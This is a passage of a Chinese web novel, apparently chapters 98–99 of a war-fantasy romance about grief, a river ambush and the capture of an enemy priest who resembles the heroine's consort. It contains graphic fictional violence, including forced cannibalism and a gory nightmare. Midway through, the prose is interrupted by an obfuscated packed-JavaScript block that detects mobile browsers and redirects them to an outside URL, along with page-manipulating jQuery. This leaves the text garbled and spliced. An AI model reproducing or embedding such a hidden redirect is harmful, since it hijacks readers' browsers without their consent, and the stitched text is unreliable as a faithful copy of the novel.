天蜻嘴上安慰着,目光却紧紧盯着信上的内容,半晌红了眼眶骂道:“她是傻子吧……写这么多对不起干什么……还写的这么丑……” 泛黄的信纸上,字迹从歪歪扭扭,毫无结构可言,再到中规中矩,可观可赏,足足用了三页的纸张,每一字,都是一笔一画的书写。 信的末尾,没有名字,只有一段话: [吾友梦泽,重逢之喜,难以言说,待她日击退沧军,可否应我之盛情,再比一场骑射,规则你定,莫要担心,过往冲动之举绝不再犯。] 天蜻哭笑不得,捂着信纸蹲在地上,片刻后抬眸笑道:“我就说她好胜心强,凡事都要抢到我前面,你看……她连护主身死都要抢在我前头……” 她的眼泪划过脸庞,顺着轻颤的嘴角滴落,打湿了血迹斑斑的地面。 玄凝跪身上前抱住了人,望着掠过赤红天边的飞鸟,将即将决堤的泪水深藏心底。 人间之面见,见一面,少一面。 “我会记得她。” “重明鸟,会记住每位死去的战士,带着她们的意志与荣耀,在天地间长存。” 99. Chapter.98 鲜红的凌冰花,盛放在脊石初现的雪原上,五彩巫幡随风飘舞,神巫跪地吟唱着往生咒,超度这片土地上逝去的一切亡魂,去往八重神天民界或投胎转世。 人声低吟,似清风海浪,拂过一双双沾了哀雪的眸珠,推踵着悲伤与祝愿,在天地静寂中随幡声重重叠叠,传达至上天。 月末守城一战,持续了半月之久,沧灵军元气大伤,退至沧灵边境,许久未有动静。 金临城下,看不见的亡魂成千上万,每到夜间,皆随风哭嚎。为了安抚治愈生者的心中情绪,吉蕸命人请来了城中的神巫,在临近怀安河的大地上,布置安排了超度祈安的仪式。 金铃敲响,默哀的双眸无声抬起,倒映着晴朗碧天的琥珀,泛着湿漉光芒,是昨夜星辰,是前尘灯火。 生时无人问津,死了,又有谁出现在她的旧照前,将往昔心念,将来世祝愿,送达上天。 人心苍老只在一瞬,一晌骨铃清脆,心间爬满皱纹,再低头时,少年意气风发逝而无形,散而无踪。 那双眸眼黯淡时,与她的母亲玄遥有七八分像,吉蕸不经意望见,哀沉眉间多了丝担忧。 超度仪式持续七天,而今,是第三天。 凌冰花比人先知春来,经血浇灌,争相盛放在脚下,仪式结束后,吉蕸找到了坐在怀安河岸边的身影,在她身边,还有一只灰白色的雪狼,听到脚步声,立马摇晃着尾巴跑来。 吉蕸本想静悄悄陪她一会儿,被热情小狼围着腿转,她也只得叹气上前,坐在了女君为她腾出的干净石面上。 “小庄主。” “嗯。” 自五月初,怀安河冰面逐渐消融,不过三日,河面就再无寒冰之寂,只有潺潺流水,随着玄甲铁蹄踏过河流,滔声高涨。 坐观河水奔流,吉蕸暗暗斟酌着要如何开口,身旁人忽而问道:“你说那些葬身河底的沧灵军,能听到神巫的吟唱,消解怨恨,魂归故乡吗?” 守城一战进入后期时,因粮草耗尽,山中禽物难寻,无法填饱肚子的沧灵军再无进攻能力,终日躲在毒雾中休养生息,等候粮草送达。 本该抵抗毒雾的神旦之血,随着新血汇入,而效果锐减,加上白雾毒性变强,玄凝派去进攻的小队险些无人生还。 既无法穿过毒雾,又不能坐等沧灵军粮草送达,养精蓄锐后再度来犯,眼看着怀安河渐渐恢复流动,玄凝心生计谋,派了一支队伍在对岸安营扎寨。 动静引起了沧灵探子的注意,岸边的金临守军正怨声载道的搬置粮草,话里话外无不在指责玄家军在城中吃喝享乐,而她们却要在这为十日后攻打沧灵做准备。 沧灵探子急匆匆回去,将这一发现禀告给耶律真王,娜伊尔正愁恼军粮为何迟迟未到,得此消息后,立马命哈吉托特带领黑鹫小队,入夜后前往侦查。 所见与探子汇报的一般,灯火明亮的营地里,金临守军熬煮着红烩牛肉,香味钻进大脑,饥肠辘辘的士兵眼中泛着戾光,犹如雪地中的饥饿的狼群,不顾女真王的命令,冲进营地,抢夺了她们的食物。 当晚,饱腹而归。 违背王君的命令,会给自己带来灭顶之灾。哈吉托特与前去的黑鹫小队将带回来的食物偷偷分发,对外守口如瓶,决然不提此事。 但多日未经进食的精神气色,怎是三两灰土就能伪装的。娜伊尔看在眼里,没有责怪她们打草惊蛇,擅自行动,而是直接将人绑起来,生剖肢解,挖出酸液腐蚀的胃靡,让哈吉托特吃了下去。 一时间,异心如春草浪,雷雨过去,汹涌狂涨。 而与此同时,玄家军身披月色,紧锣密鼓地在沿岸水下设下埋伏,等待着沧灵军的到来。 天明时,被怒火点燃的黑鹫煽动了同样饥饿的苍狼,率领千骑奔粮营而来,吓得金临守卫争相过河撤退。 人心贪婪,玄凝深悟其道,故而当哈吉托特率领千骑冒险渡河,隔着千里镜观察的眸眼,除了意料之中,还多了一丝不易察觉的失望。 若她们不被饱腹欲望冲昏头脑,运到对岸的军粮,虽不多,却也足以让她们再撑上几日。 埋下的引线被点燃,火苗顺着悬挂在浮木桥两边,涂过油脂的铁索,点燃了铁球中埋藏的火药。 爆炸声剧烈响彻,河水抖落猩红,融春的血急促流淌,本该照映天空的河面,涂满红砂。 还未渡河的骑兵慌忙携装粮草,匆匆撤退,水面上,无数尸体随水流横飘,存活着的人高呼振臂,也未能等到同伴救援,随马蹄一同沉没了下去。 那是自两国开战以来,玄家军第一次主动进攻,并获得胜利的一场战。 但时至今日,玄凝仍无法感受到胜利的喜悦。 染红的河水,一具具沉下去的人首马尸,随着流水声不知去往何处,每当玄凝坐在岸边,那日的血腥场景又历历在目。 “我很少做梦,但自从月初,我每次闭眼,就是置身战场。” 炮火在耳边轰鸣,无数血浆飞溅,空洞无珠的眼眶,她的梦境,被阴暗红雾笼罩,哪怕是醒来,那千斤重的红雾依然缠身。 “昨晚,我梦见我走在桥上,忽然一脚踩空,跌落河水。正当我想朝岸上游时,水里有人拽着我的腿脚,将我拉了下去。” “水底之下,到处是死不瞑目的沧灵军,她们见到我,争先恐后地扑了上来,像水一样将我围住,挤得我无法呼吸,挤得五脏六腑接连炸开,她们徒手撕烂了我,将我粉碎的脏器拿出咀嚼,甚至将头从阴体钻进,撑破我的胞宫,一个,两个,无数个,我好疼……我好疼啊……” “小庄主……” 吉蕸听着不忍,握住了那双攀在臂膀上颤抖的手,在手心安抚着。 “别怕,它们已经走了。” 神巫的七日吟唱,能否消解梦中怨恨,让那些因战争而死的沧灵军魂归故土,吉蕸不得而知。 她只知道,这样一场盛大的仪式过后,至少有些人,终于可以安心睡个无梦好觉。 鲜红的凌冰花,迎着金黄的斜阳,盛放在粲粲原野上。 不远处,小白狼追着蝴蝶在花丛中撒欢奔跑,脚步声轻轻靠近,来人坐在身旁,学着她的模样躺下。 玄凝转过头,看着那双熟悉的眉眼,弯唇笑了笑。 “这是我第一次梦见你,棠宋羽。” “殿下身处梦境,怎知是自己梦见,而非被入梦。” 玄凝乍然不明白他话里的意思,眉心刚掀涟漪,一只手悄悄亲近,覆上了山间低谷。 并拢的指尖轻揉慢抹,抚平了眉间细纹,继而向下拂过憔悴眸眼,在消瘦一圈的脸畔轻挲。 “殿下,受苦了。” 心上涌上的酸楚,是扎进血肉的疼痛,玄凝握住他的指尖,眸光闪烁,相视久久无言。 一饷风起幡动,花红叶裁,映眼皆婆娑。 棠宋羽安静地躺在她怀中,听她将呼吸慢放,看她将眼帘慢合,他握紧了她的手,将不舍在唇边轻落。 “快了……” 四周景色纷飞如雪飘散,最终独留他一人,身处无边无际的黑暗,随飞来的白蝶而逝。 “快醒了……” * 强渡怀安河,前去的黑鹫部队几乎全灭,失去臂膀的沧灵,一朝之间,人言耸动。 耶律真王大怒,叱责了苍狼首领,又命令箭伤在身的萨耶,率王室精锐渡河夜袭。 横桥炸毁,上游流经雨雪,入夜后,怀安河水生得尤其冷冽。 寒意刺痛,萨耶刚游上岸,正蹲在地上探查营地情况时,一双探究的眼睛在他身上反复打量,片刻撒腿奔来,嘴里还不时嗷叫。 萨耶转身就要跑进河里,倏然脚步一顿,颦眉望见水面之上,自己的人被困在了渐渐升起的渔网中。 见他要过来,被困在网中的尼古利紧张找提醒道:“萨耶大人快跑!这渔网割不断!” 是陷阱。 她算准了今夜会有人来。 身后有脚步声靠近,不过,并非人的。 也有可能是因为此人步伐甚是轻盈,哗然声中难以捕捉,萨耶只分辨出白狼的脚步,等到那似人非人的脚步声传入耳中,那人的声音,也如约而至。 “别动,萨耶大人。” 寒刃无声无息出现在脖子上,萨耶不动声色转出指间的利刃,伺机而动。 身后人余光察觉他的小动作,点了穴擒住他的手笑道:“原来那日扎我脖子的是指环啊,还带尖刃,淬毒了吗?” “……” 玄凝自顾自上手摸道:“做的倒还精巧,送我吧,等我研究明白,给我家君夫重新做一个防身。” 说完,玄凝便拔了他指间的狼牙环,低头见没地方放置,只好皱眉戴在了自己手上。 美人瞬间瞪大了眼睛。 “你!” 萨特强行突破了凝滞穴位,挥着腿上短刀,刀刀直逼脆弱脖颈。 “嚯。”玄凝连连退后,“这么生气?不就是一个指环,还你就是。” 她摘了指环抛在半空,哪曾想对方不依不饶,看都不看一眼,刀刃依旧朝她砍去。 像,真的太像了。 他连生气的模样都像极了棠宋羽。 不,不是像,是简直一个模子刻出来的,女娲看了都要叹声心灵手巧,技不如人。 萨耶虽擅长近战与骑射,但正如他的弓箭远胜她一般,与之近战,他完全不是对手。眼看她东躲西躲,跟逗狗似的只躲闪不还手,他羞恼红了耳尖,转身就要撤跑。 玄凝蹬身扑了上去,抓着他的头发问:“你想去哪啊萨耶?指环不要了?” 美人被抓疼了,回手又是一记挥刀。 刀刃贴着鼻尖划过,她不恼反而笑道:“这就是沧灵水土养出来的美人吗,真辣。” 萨耶听懂了半句,又是满眼恼羞,不顾撕裂的伤口转身就要冲进怀安河。 “啧。”玄凝皱眉咋舌,指着河面命令道: “萨摩耶,上!” “嗷喔!” 一直在旁边观战的小白狼兴奋地扑进水中,咬着萨耶的衣角不松,玄凝也追到河里,抓着衣袍往回拉拽。 “我们真的不用上去帮忙吗?” 岸边的玄家军望向天蜻,却见她一直揉着眼睛,关切问道:“怎么了?可是吹进了尘沙?” 望着河边被打晕抱上来的男子,天蜻放下手,全然一副见了鬼的样子。 “打我一下。” “啊?” 玄家军吞吞吐吐地不肯答应,天蜻只好自己掐了自己一下,下手颇为用力,疼得她嘶声嘀咕,“长得也未免太像了……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13404165|123039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 小白狼浑身湿淋淋的,跟在身后不停甩着水珠,玄凝将人抱到营帐门口,犹豫了下又转身走进了旁边营帐。 “我家美人临走前交代了,不准别的男子进我的营帐,所以就委屈神旦在这里待上一阵子。” 萨耶颦蹙着眉心,似要醒来的模样,玄凝坐在床边观察了一会儿,直到眉间归于平静,她才上手解开他的衣领。 脖颈上的伤口已然结痂,周围净是凹凸不平的瘢痕,被刺骨河水剐的更加泛红,玄凝抚摸着那道浅显胭红,一晌低眸苦笑。 “我竟然还在妄想,你就是他。” 他的颈边没有红绳,更没有她的长命石。 只有额间的神纹,在她转身离去时,微微泛着光芒。 “殿下,那是世……” 一走出帐篷,候着的天蜻立马上前询问,她不敢下定结论,话才问到一半就被制止。 “他不是。” 玄凝望着远处被捕捞上来的人,揉碎了眉眼间黯淡作夜天。 “他伤口裂开了,让军医来处理一下。” “既然不是,殿下为何还要让他住进营帐,在意他的伤势,难道就因为那张脸,殿下就能忘记他的身份,忘记沧灵军是怎么杀死我们的同胞吗?” “……我没有忘。” 刚经历的一场堪称屠杀的胜利,玄凝心中波澜难定,面对她人眼中闪烁的仇恨,却也只能掩藏在万千浮藻下。 “他是沧灵神旦,血液可入药。” 她留下一个背影,天蜻懊恼地握着剑柄,追上去道:“殿下,我刚刚不是故意……” “嗯,去吧。” 冰冷的目光明明没有落在身上,隔着一人距离,天蜻还是切实感受到了寒意。 “是……” 萨耶醒来时,帐内无一人看守。 肩膀上的伤口被人重新包扎了,用的药,是他记忆中,曾在她身上闻过的气味。 远处似有金铃敲响,萨耶走出了营帐,五彩风幡映眼,他的脚步,在目光触及的那一刻,停驻在原地。 不知停顿为何,所思为何,侯在帐外的玄凝盯着他的背影,冷不防开口道:“不跑吗?” 萨耶像是听不到她的话一样,嘴里念了几句沧灵语言,朝着风幡的方向跪了下来。 手捧心口,神纹亲吻大地,举目含光。 一次又一次,他跪的虔诚,清晨的光芒洒在身上,与周身淡薄白雾模糊了棱角轮廓,如梦如幻,如传承千年的壁画上,受世人供奉的神巫。 玄凝冷笑着抓住衣领,将人跪伏的头颅强行抬起,“这也是神旦的职责?见到巫幡就下跪。” 对上她的目光,萨耶皱眉抬手,想要触碰她的眉心,却因她后退的动作,凝滞在半空。 “做什么?” 她警惕心比过往还要多出几分,萨耶放下手犹豫道:“你眉间,有不详的气息。” “原来神旦还能帮人看吉凶灾厄。”玄凝半蹲下身,在他脸上来回打量,“我倒是觉得,神旦眉宇间的不详气息更加浓厚,可能是因为……没洗脸。” 调侃的话语并没能舒缓他眉间的起伏,反而让他愈发大胆,抓住她的手就想凑近。 看来这沧灵水土养出来的美人,不仅下手利落,连行为都更加主动。 他执意如此,玄凝挣开了他的手,起身道:“你有这个功夫关心别人,不如关心一下你自己。” 想到他的手臂,玄凝并没有用太大力气,却也察觉他眉眼间转瞬而过的痛苦神色。 “被割去那么多血,不觉得头晕体虚吗。” “习惯了。” 萨耶站起身,毫无血色的脸上,是天上薄云,看似不经风吹日晒,却也曾照山川日月,予凛冬一盏炽烈浑浊。 那双眸眼淡如山涧溪流,仿佛除了万物,再无它法。 不一样。 身体与精神上的一切的疼痛,被囊括为一句习惯,棠宋羽做不到,更没有这样看淡世间诸象的眼神。 “你真的是……” 玄凝自嘲一笑,便没了下文,转身时,萨耶小心捻住了她的袖摆,问道:“她们呢?” “死了。” “你骗我。” “我听说过重明鸟的事迹,你们不会屠杀战俘。” 他的语气笃定,眼中倒多出一丝试探,玄凝低头望着那捻着衣角的两指,那个指环他应该戴了许久,以至于中指间存在明显的色差。 “那你们沧灵呢,会如何对待战俘?” “……” 他不说话,玄凝心中默认,“那就是全杀了。” 她回眸冷笑道:“比起相信道听途说的过时言论,神旦大人该为自己还活着感到庆幸。” 萨耶还想问询,却见她手一挥,随之不知何时出现在身后的人,将冰凉的铁环铐戴在他的脖子上。 “老实点,回去。” 铁链摇摇晃晃,声音清脆的像是碎玉雨滴。 “玄凝。” 萨耶停在门帐前,转头唤了她的姓名。 “我留下,放她们走。” 她没有停下脚步,连回眸都不曾。萨耶默默收回了视线,帐中残留一丝腥风罗香,与她身上的气息,相似十分。 倒是…… 有将他的话记在心上。